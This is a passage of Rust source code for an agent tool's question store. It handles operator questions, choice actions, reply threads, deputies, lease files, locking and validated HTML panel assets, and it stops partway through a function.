1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 13;
66
67const POLL: Duration = Duration::from_secs(3);
76
77const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132const LOCK_STALE: Duration = Duration::from_secs(10);
135
136pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158const PANEL_DIR: &str = ".panel";
164
165const PANEL_HTML: &str = "index.html";
167
168const PANEL_TMP: &str = ".panel.tmp";
170
171pub fn valid_asset_name(name: &str) -> bool {
188 if name.is_empty() || name.len() > 64 || name.contains("..") {
189 return false;
190 }
191 let mut chars = name.chars();
192 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200 Open,
202 Answered,
204 Abandoned,
208}
209
210impl QuestionStatus {
211 pub fn open(self) -> bool {
213 matches!(self, Self::Open)
214 }
215
216 pub fn as_str(self) -> &'static str {
218 match self {
219 Self::Open => "open",
220 Self::Answered => "answered",
221 Self::Abandoned => "abandoned",
222 }
223 }
224}
225
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235 Choice(String),
237 Text(String),
239}
240
241#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251 Resume {
253 run: String,
255 },
256 RecoverBase {
258 run: String,
260 stop: crate::chat_control::BaseRecoveryStop,
262 episode: usize,
264 },
265 ResumeRun {
267 run: String,
269 },
270 ReleaseTask {
272 task: String,
274 held_at: jiff::Timestamp,
276 reason: Option<String>,
278 },
279 RerunChecks {
281 repo: PathBuf,
283 pr: String,
285 head: String,
287 runs: Vec<String>,
289 },
290 AbandonRun {
292 run: String,
294 },
295 Requeue,
297 Hold,
299 Done,
301}
302
303impl ChoiceAction {
304 pub fn maintenance(&self) -> bool {
306 matches!(
307 self,
308 Self::RecoverBase { .. }
309 | Self::ResumeRun { .. }
310 | Self::ReleaseTask { .. }
311 | Self::RerunChecks { .. }
312 | Self::AbandonRun { .. }
313 )
314 }
315
316 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
321 let split = spec
322 .find("={")
323 .map(|at| (&spec[..at], &spec[at + 1..]))
324 .or_else(|| spec.rsplit_once('='));
325 let Some((label, verb)) = split else {
326 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
327 };
328 let label = label.trim();
329 if label.is_empty() {
330 bail!("`--action {spec}` names no choice before `=`");
331 }
332 let verb = verb.trim();
333 if verb.starts_with('{') {
334 let action = serde_json::from_str(verb).context("parse typed choice action")?;
335 return Ok((label.to_owned(), action));
336 }
337 let action = match verb.split_once(':') {
338 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
339 run: run.trim().into(),
340 },
341 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
342 run: run.trim().into(),
343 },
344 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
345 run: run.trim().to_owned(),
346 },
347 None if verb == "resume" => {
348 if default_run.is_empty() {
349 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
350 }
351 Self::Resume {
352 run: default_run.to_owned(),
353 }
354 }
355 None if verb == "requeue" => Self::Requeue,
356 None if verb == "hold" => Self::Hold,
357 None if verb == "done" => Self::Done,
358 _ => bail!(
359 "unknown action `{verb}` in `--action {spec}`; \
360 use resume[:<run>], requeue, hold or done"
361 ),
362 };
363 Ok((label.to_owned(), action))
364 }
365
366 pub fn matches_alias(&self, input: &str) -> bool {
369 let input = input.trim();
370 match self {
371 Self::Resume { run } => {
372 [
373 "resume",
374 "resume run",
375 "resume-run",
376 "再開",
377 "実行再開",
378 "実行を再開",
379 "実行を再開する",
380 ]
381 .iter()
382 .any(|alias| input.eq_ignore_ascii_case(alias))
383 || [
384 format!("resume {run}"),
385 format!("resume:{run}"),
386 format!("resume run {run}"),
387 format!("resume {}", short(run)),
388 format!("resume run {}", short(run)),
389 ]
390 .iter()
391 .any(|alias| input.eq_ignore_ascii_case(alias))
392 }
393 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
394 .iter()
395 .any(|alias| input.eq_ignore_ascii_case(alias)),
396 _ => false,
397 }
398 }
399
400 pub fn describe(&self) -> String {
402 match self {
403 Self::Resume { run } => format!("resume run {}", short(run)),
404 Self::RecoverBase { run, .. } => format!(
405 "authorize bounded base recovery and queue run {}",
406 short(run)
407 ),
408 Self::ResumeRun { run } => format!("resume run {}", short(run)),
409 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
410 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
411 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
412 Self::Requeue => "requeue the task".to_owned(),
413 Self::Hold => "hold the task until the operator releases it".to_owned(),
414 Self::Done => "mark the task done".to_owned(),
415 }
416 }
417}
418
419pub fn parse_actions(
422 specs: &[String],
423 choices: &[String],
424 default_run: &str,
425) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
426 let mut out = std::collections::BTreeMap::new();
427 for spec in specs {
428 let (label, action) = ChoiceAction::parse(spec, default_run)?;
429 if !choices.contains(&label) {
430 bail!(
431 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
432 choices.join(", ")
433 );
434 }
435 if out.insert(label.clone(), action).is_some() {
436 bail!("more than one --action for `{label}`");
437 }
438 }
439 Ok(out)
440}
441
442#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
453#[serde(rename_all = "lowercase")]
454pub enum Who {
455 Operator,
457 Agent,
460}
461
462#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
470#[serde(deny_unknown_fields)]
471pub struct Turn {
472 pub who: Who,
474 pub body: String,
476 pub at: Timestamp,
478 #[serde(default, skip_serializing_if = "Option::is_none")]
483 pub note: Option<String>,
484}
485
486#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
488#[serde(rename_all = "lowercase")]
489pub enum WaiterKind {
490 Asker,
492 Daemon,
495 Deputy,
499}
500
501#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
513pub struct Deputy {
514 pub brief: String,
517 #[serde(default)]
519 pub agent: String,
520 #[serde(default)]
522 pub seat: Option<crate::agent::SeatState>,
523 #[serde(default)]
526 pub starts: u32,
527}
528
529impl Deputy {
530 pub fn new(brief: String) -> Self {
532 Self {
533 brief,
534 agent: String::new(),
535 seat: None,
536 starts: 0,
537 }
538 }
539}
540
541pub fn deputy_seat_key(id: &str) -> String {
543 format!("deputy-{}", short(id))
544}
545
546#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
551pub struct Waiter {
552 pub kind: WaiterKind,
554 pub since: Timestamp,
556}
557
558#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
567pub struct Lease {
568 pub kind: WaiterKind,
570 pub pid: u32,
572 pub beat_at: Timestamp,
574}
575
576impl Lease {
577 pub fn fresh(&self, now: Timestamp) -> bool {
579 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
580 }
581}
582
583#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
585#[serde(deny_unknown_fields)]
586pub struct Question {
587 pub schema: u32,
589 pub id: String,
592 pub run: String,
594 pub node: String,
596 pub seat: String,
599 pub summary: String,
602 pub detail: String,
605 #[serde(default, skip_serializing_if = "Option::is_none")]
607 pub posting_comparison: Option<crate::github_text::PostingComparison>,
608 pub choices: Vec<String>,
612 #[serde(default)]
614 pub merge_target: Option<crate::merge_decision::Target>,
615 #[serde(default)]
617 pub routed_task: Option<String>,
618 #[serde(default, skip_serializing_if = "std::ops::Not::not")]
621 pub legacy_foreground: bool,
622 #[serde(default)]
624 pub routed_chat: Option<String>,
625 #[serde(default, skip_serializing_if = "Option::is_none")]
628 pub publication_title: Option<String>,
629 #[serde(default)]
633 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
634 #[serde(default)]
641 pub panel: bool,
642 #[serde(default)]
649 pub assets: Vec<String>,
650 pub status: QuestionStatus,
652 pub asked_at: Timestamp,
654 #[serde(default)]
656 pub triage_generation: Option<u64>,
657 pub answered_at: Option<Timestamp>,
659 #[serde(default, skip_serializing_if = "Option::is_none")]
662 pub accepted_answer_at: Option<Timestamp>,
663 pub answer: Option<Answer>,
665 #[serde(default)]
674 pub thread: Vec<Turn>,
675 #[serde(default)]
690 pub answer_timeout: u64,
691 #[serde(default)]
697 pub cwd: Option<String>,
698 #[serde(default)]
700 pub waiter: Option<Waiter>,
701 #[serde(default)]
705 pub delivered_turns: usize,
706 #[serde(default)]
709 pub answer_delivered: bool,
710 #[serde(default)]
713 pub deputy: Option<Deputy>,
714 #[serde(default)]
718 pub consult: Option<ChatConsult>,
719 #[serde(default, skip_serializing_if = "Option::is_none")]
725 pub answer_authority: Option<LegacyAnswerAuthority>,
726 #[serde(default, skip_serializing_if = "Option::is_none")]
728 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
729 #[serde(default)]
732 pub decision_context: Option<String>,
733}
734
735#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
737pub struct ChatConsult {
738 pub talk: String,
740 pub at: Timestamp,
742}
743
744#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
748pub struct LegacyAnswerAuthority {
749 pub question: String,
751 pub choice: String,
753 pub instruction: String,
755}
756
757impl Question {
758 pub fn run_names_task(&self) -> bool {
761 matches!(
762 self.node.as_str(),
763 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
764 )
765 }
766
767 pub fn new(
770 run: String,
771 node: String,
772 seat: String,
773 summary: String,
774 detail: String,
775 choices: Vec<String>,
776 ) -> Self {
777 Self {
778 schema: SCHEMA,
779 id: new_id(),
780 run,
781 node,
782 seat,
783 summary,
784 detail,
785 posting_comparison: None,
786 choices,
787 merge_target: None,
788 routed_task: None,
789 legacy_foreground: false,
790 routed_chat: None,
791 publication_title: None,
792 actions: std::collections::BTreeMap::new(),
793 panel: false,
794 assets: Vec::new(),
795 status: QuestionStatus::Open,
796 asked_at: Timestamp::now(),
797 triage_generation: None,
798 answered_at: None,
799 accepted_answer_at: None,
800 answer: None,
801 thread: Vec::new(),
802 answer_timeout: 0,
803 cwd: None,
804 waiter: None,
805 delivered_turns: 0,
806 answer_delivered: false,
807 deputy: None,
808 consult: None,
809 answer_authority: None,
810 consult_outcome: None,
811 decision_context: None,
812 }
813 }
814
815 pub fn short(&self) -> &str {
817 short(&self.id)
818 }
819
820 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
823 match (&self.status, &self.answer) {
824 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
825 _ => None,
826 }
827 }
828
829 pub fn free_text(&self) -> bool {
831 self.choices.is_empty()
832 }
833
834 pub fn reply_guidance(&self) -> String {
837 self.choices
838 .iter()
839 .map(|label| {
840 let aliases: Vec<_> = ["resume-run", "keep-held"]
841 .into_iter()
842 .filter(|alias| self.resolve_reply(alias).ok() == Some(label.as_str()))
843 .collect();
844 let exact = serde_json::to_string(label).expect("serialize label");
845 let reply = if aliases.is_empty() {
846 format!("exact label: {exact}")
847 } else {
848 format!(
849 "exact label: {exact}; accepted aliases: {}",
850 aliases.join(", ")
851 )
852 };
853 match self.actions.get(label) {
854 Some(action) => {
855 format!("{reply}; effect (not reply text): {}", action.describe())
856 }
857 None => reply,
858 }
859 })
860 .collect::<Vec<_>>()
861 .join("\n")
862 }
863
864 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
867 if self.free_text() || self.choices.iter().any(|c| c == reply) {
868 return Ok(reply);
869 }
870 if ChoiceAction::Hold.matches_alias(reply)
871 && let Some(label) = self
872 .choices
873 .iter()
874 .find(|label| crate::triage::contextual_keep_held(self, label))
875 {
876 return Ok(label);
877 }
878 let matches: Vec<_> = self
879 .actions
880 .iter()
881 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
882 .collect();
883 match matches.as_slice() {
884 [(label, _)] => Ok(label.as_str()),
885 [] => bail!(
886 "alias mismatch with offered choices: `{reply}` is not an offered label or supported action alias; exact labels: {}; inspect `magi answer --list`, copy the intended offered label verbatim into --reply, and retry once (action descriptions and bracketed annotations are not reply values)",
887 serde_json::to_string(&self.choices).expect("serialize labels")
888 ),
889 _ => bail!(
890 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
891 ),
892 }
893 }
894
895 pub fn answer(&mut self, answer: Answer) -> Result<()> {
905 self.answer_inner(answer)
906 }
907
908 pub(crate) fn answer_chat_button(
910 &mut self,
911 answer: Answer,
912 talk: &str,
913 head: &str,
914 ) -> Result<()> {
915 anyhow::ensure!(
916 self.routed_chat.as_deref() == Some(talk),
917 "wrong approval chat"
918 );
919 anyhow::ensure!(
920 self.merge_target.as_ref().is_some_and(|t| t.head == head),
921 "stale approval head"
922 );
923 self.answer_inner(answer)
924 }
925
926 fn answer_inner(&mut self, answer: Answer) -> Result<()> {
927 match self.status {
928 QuestionStatus::Answered => bail!(
929 "question {} was already answered; the run has moved on and a \
930 second answer would be a decision nobody acted on",
931 self.short()
932 ),
933 QuestionStatus::Abandoned => bail!(
934 "question {} was abandoned and the run behind it is gone",
935 self.short()
936 ),
937 QuestionStatus::Open => {}
938 }
939 let body = match &answer {
940 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
941 };
942 if body.trim().is_empty() {
943 bail!(
944 "question {} needs an answer; an empty one tells the agent \
945 nothing and it would guess anyway",
946 self.short()
947 );
948 }
949 match &answer {
950 Answer::Choice(c) if self.free_text() => bail!(
951 "question {} asks for free text, so `{c}` cannot be a choice \
952 it offered",
953 self.short()
954 ),
955 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
956 "`{c}` is not one of the choices question {} offers: {}",
957 self.short(),
958 self.choices.join(", ")
959 ),
960 Answer::Text(_) if !self.free_text() => bail!(
961 "question {} is multiple choice; answer with one of: {}",
962 self.short(),
963 self.choices.join(", ")
964 ),
965 _ => {}
966 }
967 if body.eq_ignore_ascii_case(crate::land::HOLD)
970 && self
971 .actions
972 .get(body)
973 .is_some_and(|a| *a != ChoiceAction::Hold)
974 {
975 bail!("hold cannot execute a question action");
976 }
977 self.answered_at = Some(Timestamp::now());
978 self.answer = Some(answer);
979 self.status = QuestionStatus::Answered;
980 Ok(())
981 }
982
983 pub fn abandon(&mut self, why: impl Into<String>) {
995 if !self.status.open() {
996 return;
997 }
998 self.status = QuestionStatus::Abandoned;
999 let why = why.into();
1000 let why = why.trim();
1001 if why.is_empty() {
1002 return;
1003 }
1004 if !self.detail.is_empty() {
1005 self.detail.push('\n');
1006 }
1007 self.detail.push_str("\n_Abandoned: ");
1008 self.detail.push_str(why);
1009 self.detail.push_str("._\n");
1010 }
1011
1012 pub fn resolution(&self) -> Option<String> {
1019 match (self.status, &self.answer) {
1020 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
1021 Some(a.clone())
1022 }
1023 _ => None,
1024 }
1025 }
1026
1027 pub fn settle_by_deputy(&mut self, seat: &str, label: &str, note: Option<&str>) -> Result<()> {
1039 if self.routed_task.is_some() {
1040 bail!("task decisions are handled by the task chat, not a deputy");
1041 }
1042 let Some(deputy) = &self.deputy else {
1043 bail!("question {} has no deputy", self.short());
1044 };
1045 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
1046 if own != Some(seat) {
1047 bail!("only the deputy of question {} may settle it", self.short());
1048 }
1049 if !self.choices.iter().any(|c| c == label) {
1050 bail!(
1051 "`{label}` is not one of the choices offered on question {}",
1052 self.short()
1053 );
1054 }
1055 self.answer(Answer::Choice(label.to_owned()))?;
1056 self.thread.push(Turn {
1057 who: Who::Agent,
1058 body: format!("Settled as `{label}` on the owner's words."),
1059 at: Timestamp::now(),
1060 note: note
1061 .map(str::trim)
1062 .filter(|n| !n.is_empty())
1063 .map(str::to_owned),
1064 });
1065 self.delivered_turns = self.thread.len();
1066 Ok(())
1067 }
1068
1069 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1080 match self.status {
1081 QuestionStatus::Answered => bail!(
1082 "question {} was already answered; there is nothing left to \
1083 discuss",
1084 self.short()
1085 ),
1086 QuestionStatus::Abandoned => bail!(
1087 "question {} was abandoned and the run behind it is gone",
1088 self.short()
1089 ),
1090 QuestionStatus::Open => {}
1091 }
1092 let body = body.into();
1093 if body.trim().is_empty() {
1094 bail!("a message to question {} cannot be empty", self.short());
1095 }
1096 self.thread.push(Turn {
1097 who: Who::Operator,
1098 body,
1099 at: Timestamp::now(),
1100 note: None,
1101 });
1102 Ok(())
1103 }
1104
1105 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1115 match self.status {
1116 QuestionStatus::Answered => bail!(
1117 "question {} was already answered; replying now would not \
1118 reach anyone",
1119 self.short()
1120 ),
1121 QuestionStatus::Abandoned => bail!(
1122 "question {} was abandoned and the run behind it is gone",
1123 self.short()
1124 ),
1125 QuestionStatus::Open => {}
1126 }
1127 let body = body.into();
1128 if body.trim().is_empty() {
1129 bail!("a reply to question {} cannot be empty", self.short());
1130 }
1131 self.actions.retain(|label, _| choices.contains(label));
1133 self.choices = choices;
1134 let unread = self.unread_from_owner().is_some();
1135 self.thread.push(Turn {
1136 who: Who::Agent,
1137 body,
1138 at: Timestamp::now(),
1139 note: None,
1140 });
1141 if !unread {
1145 self.delivered_turns = self.thread.len();
1146 }
1147 Ok(())
1148 }
1149
1150 pub fn unread_from_owner(&self) -> Option<String> {
1157 if !self.status.open() {
1158 return None;
1159 }
1160 let said = self.undelivered_owner_turns();
1161 (!said.is_empty()).then(|| said.join("\n\n"))
1162 }
1163
1164 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1170 let from = self.delivered_turns.min(self.thread.len());
1171 self.thread[from..]
1172 .iter()
1173 .filter(|t| t.who == Who::Operator)
1174 .map(|t| t.body.as_str())
1175 .collect()
1176 }
1177
1178 pub fn last_activity(&self) -> i64 {
1182 self.thread
1183 .iter()
1184 .map(|t| t.at.as_second())
1185 .max()
1186 .unwrap_or(0)
1187 .max(self.asked_at.as_second())
1188 }
1189
1190 pub fn waiting_on_agent(&self) -> bool {
1199 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1200 }
1201
1202 fn should_notify(&self, now: Timestamp) -> bool {
1210 let Some(last) = self
1211 .thread
1212 .iter()
1213 .rev()
1214 .find(|t| t.who == Who::Operator)
1215 .map(|t| t.at)
1216 else {
1217 return true;
1218 };
1219 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1220 }
1221}
1222
1223#[derive(Debug, Clone)]
1225pub struct Questions {
1226 root: PathBuf,
1227}
1228
1229impl Questions {
1230 pub fn open() -> Self {
1232 Self::at(crate::run::home().join("questions"))
1233 }
1234
1235 pub fn at(root: PathBuf) -> Self {
1238 Self { root }
1239 }
1240
1241 pub fn root(&self) -> &Path {
1243 &self.root
1244 }
1245
1246 pub fn path_of(&self, id: &str) -> PathBuf {
1248 self.root.join(format!("{id}.json"))
1249 }
1250
1251 pub fn panel_dir(&self, id: &str) -> PathBuf {
1253 self.root.join(format!("{id}{PANEL_DIR}"))
1254 }
1255
1256 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1280 if !valid_asset_name(&q.id) {
1281 bail!(
1282 "question id `{}` is not a name magi will build a panel path from",
1283 q.id
1284 );
1285 }
1286 if html.trim().is_empty() {
1287 bail!(
1288 "question {} was handed an empty panel; an empty frame reads to \
1289 the owner as \"the agent had nothing to say\", which is a lie",
1290 q.short()
1291 );
1292 }
1293
1294 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1297 for src in assets {
1298 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1299 if !valid_asset_name(name) {
1300 bail!(
1301 "panel asset `{}` cannot be stored: a panel file name must \
1302 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1303 src.display()
1304 );
1305 }
1306 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1307 bail!(
1308 "two panel assets are both named `{name}` - {} and {} - and \
1309 the panel can only show one of them; rename one at the source",
1310 first.display(),
1311 src.display()
1312 );
1313 }
1314 named.push((name.to_owned(), src.as_path()));
1315 }
1316
1317 let mut total = html.len() as u64;
1318 for (_, src) in &named {
1319 let meta = std::fs::metadata(src)
1320 .with_context(|| format!("stat panel asset {}", src.display()))?;
1321 if !meta.is_file() {
1322 bail!(
1323 "panel asset `{}` is not a file; a panel is html plus files \
1324 copied beside it",
1325 src.display()
1326 );
1327 }
1328 total = total.saturating_add(meta.len());
1329 }
1330 if total > PANEL_MAX_BYTES {
1331 bail!(
1332 "panel for question {} is {total} bytes, over magi's cap of \
1333 {PANEL_MAX_BYTES} bytes; nothing was written",
1334 q.short()
1335 );
1336 }
1337
1338 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1339 let dir = self.panel_dir(&q.id);
1340 std::fs::create_dir_all(&self.root)
1341 .with_context(|| format!("create {}", self.root.display()))?;
1342 clear_dir(&tmp)?;
1343 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1344 if let Err(e) = fill_panel(&tmp, html, &named) {
1345 let _ = std::fs::remove_dir_all(&tmp);
1348 return Err(e);
1349 }
1350 clear_dir(&dir)?;
1351 std::fs::rename(&tmp, &dir)
1352 .with_context(|| format!("move panel into {}", dir.display()))?;
1353
1354 q.panel = true;
1355 q.assets = named.into_iter().map(|(n, _)| n).collect();
1356 q.assets.sort_unstable();
1357 Ok(())
1358 }
1359
1360 pub fn panel_html(&self, id: &str) -> Option<String> {
1366 if !valid_asset_name(id) {
1367 return None;
1368 }
1369 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1370 }
1371
1372 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1383 if !valid_asset_name(name) {
1384 bail!(
1385 "`{name}` is not a panel file name; it must match \
1386 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1387 );
1388 }
1389 if !valid_asset_name(id) {
1390 return Ok(None);
1391 }
1392 let dir = self.panel_dir(id);
1393 if !dir.is_dir() {
1394 return Ok(None);
1395 }
1396 let path = dir.join(name);
1397 match std::fs::read(&path) {
1398 Ok(bytes) => Ok(Some(bytes)),
1399 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1400 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1401 }
1402 }
1403
1404 pub fn drop_panel(&self, id: &str) -> Result<()> {
1413 if !valid_asset_name(id) {
1414 bail!("question id `{id}` is not a name magi will build a panel path from");
1415 }
1416 clear_dir(&self.panel_dir(id))?;
1417 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1418 }
1419
1420 pub fn lease_path(&self, id: &str) -> PathBuf {
1422 self.root.join(format!("{id}.lease"))
1423 }
1424
1425 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1427 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1428 serde_json::from_str(&body).ok()
1429 }
1430
1431 pub fn beat(&self, id: &str, kind: WaiterKind) {
1438 let lease = Lease {
1439 kind,
1440 pid: std::process::id(),
1441 beat_at: Timestamp::now(),
1442 };
1443 let path = self.lease_path(id);
1444 let tmp = path.with_extension("lease.tmp");
1445 let written = std::fs::create_dir_all(&self.root)
1446 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1447 .and_then(|()| std::fs::rename(&tmp, &path));
1448 if let Err(e) = written {
1449 tracing::debug!("could not beat the lease on question {id}: {e}");
1450 }
1451 }
1452
1453 pub fn drop_lease(&self, id: &str) {
1455 let _ = std::fs::remove_file(self.lease_path(id));
1456 }
1457
1458 pub fn update<T>(
1469 &self,
1470 id: &str,
1471 f: impl FnOnce(&mut Question) -> Result<T>,
1472 ) -> Result<(Question, T)> {
1473 std::fs::create_dir_all(&self.root)
1474 .with_context(|| format!("create {}", self.root.display()))?;
1475 let lock = self.root.join(format!("{id}.lock"));
1476 let started = std::time::Instant::now();
1477 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1478 loop {
1479 match retry.create(&lock) {
1480 Ok(_) => break,
1481 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1482 let stale = std::fs::metadata(&lock)
1483 .and_then(|m| m.modified())
1484 .ok()
1485 .and_then(|t| t.elapsed().ok())
1486 .is_some_and(|age| age > LOCK_STALE);
1487 if stale {
1488 let _ = std::fs::remove_file(&lock);
1489 } else if started.elapsed() > LOCK_STALE {
1490 bail!("could not lock question {id}");
1491 } else {
1492 std::thread::sleep(Duration::from_millis(15));
1493 }
1494 }
1495 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1496 }
1497 }
1498 struct Unlock(PathBuf);
1499 impl Drop for Unlock {
1500 fn drop(&mut self) {
1501 let _ = std::fs::remove_file(&self.0);
1502 }
1503 }
1504 let _guard = Unlock(lock);
1505 let mut q = read_path(&self.path_of(id))?;
1506 let effective_dismissal = |q: &Question| {
1507 q.resolution().as_deref() == Some(crate::merge_decision::DISMISS)
1508 && !self.root.parent().is_some_and(|home| {
1509 crate::task_chat::saved_reply_requires_confirmation(home, q)
1510 })
1511 };
1512 let was_dismissed = effective_dismissal(&q);
1513 let prior_answer = (q.answered_at, q.resolution());
1514 let out = f(&mut q)?;
1515 if q.resolution().is_some() && prior_answer != (q.answered_at, q.resolution()) {
1516 let home = self.root.parent().context("question store has no home")?;
1517 q.accepted_answer_at = q.answered_at;
1518 crate::task_chat::accept_fresh_reply(home, &q)?;
1519 }
1520 if !was_dismissed && effective_dismissal(&q) {
1521 let home = self.root.parent().context("question store has no home")?;
1522 crate::merge_decision::dismiss(home, &q)?;
1523 }
1524 self.put(&mut q)?;
1525 Ok((q, out))
1526 }
1527
1528 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1531 anyhow::ensure!(
1532 q.actions.keys().all(|c| q.choices.contains(c)),
1533 "question action names an unoffered choice"
1534 );
1535 for label in &q.choices {
1536 anyhow::ensure!(
1537 crate::choice_effect::describe(q, label).is_some(),
1538 "question node {} offers an unsupported choice: {label}",
1539 q.node
1540 );
1541 }
1542 self.put(q)
1543 }
1544
1545 pub fn put(&self, q: &mut Question) -> Result<()> {
1549 if q.status.open()
1550 && q.routed_task.is_none()
1551 && let Some(home) = self.root.parent()
1552 {
1553 let tasks = crate::queue::Queue::at(home.join("queue")).list();
1554 q.routed_task =
1555 crate::task_chat::task_of(q, &tasks).filter(|_| crate::task_chat::chat_routable(q));
1556 }
1557 std::fs::create_dir_all(&self.root)
1558 .with_context(|| format!("create {}", self.root.display()))?;
1559 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1560 let path = self.path_of(&q.id);
1561 let tmp = path.with_extension("json.tmp");
1562 let is_new = !path.exists();
1563 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1564 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1565 if is_new
1568 && q.status.open()
1569 && q.node != crate::bump::NOTICE_NODE
1570 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1571 {
1572 crate::notices::quiet_for(home, q);
1573 }
1574 Ok(())
1575 }
1576
1577 pub(crate) fn read_history(&self, id: &str) -> Result<Question> {
1580 anyhow::ensure!(
1581 !id.is_empty() && !id.contains(['/', '\\']) && id != "." && id != "..",
1582 "invalid saved inquiry identity"
1583 );
1584 let q = read_path(&self.path_of(id))?;
1585 anyhow::ensure!(
1586 q.id == id,
1587 "saved inquiry identity does not match its filename"
1588 );
1589 Ok(q)
1590 }
1591
1592 pub fn get(&self, id: &str) -> Result<Question> {
1594 let resolved = self.resolve_id(id)?;
1595 let q = read_path(&self.path_of(&resolved))?;
1596 Ok(self.consumption_view(self.with_repair_choice(q)))
1597 }
1598
1599 fn consumption_view(&self, q: Question) -> Question {
1603 let migrated = self
1604 .root
1605 .parent()
1606 .is_some_and(|home| crate::task_chat::migrated_source(home, &q.id));
1607 self.consumption_view_in(q, migrated)
1608 }
1609
1610 fn consumption_view_in(&self, mut q: Question, migrated: bool) -> Question {
1611 if self.root.parent().is_some_and(|home| {
1612 crate::task_inquiry::Outbox::at(home)
1613 .get(&q.id)
1614 .is_ok_and(|record| {
1615 record.decision.is_some_and(|d| {
1616 d.legacy_settled && d.status == crate::task_decision::Status::Resolved
1617 })
1618 })
1619 }) {
1620 q.answer = None;
1623 q.answered_at = None;
1624 q.answer_authority = None;
1625 q.status = QuestionStatus::Abandoned;
1626 return q;
1627 }
1628 if let Some(home) = self.root.parent()
1629 && migrated
1630 && !crate::task_chat::standalone_inquiry(home, &q)
1631 && crate::task_chat::source_reply_needs_confirmation(home, &q)
1632 {
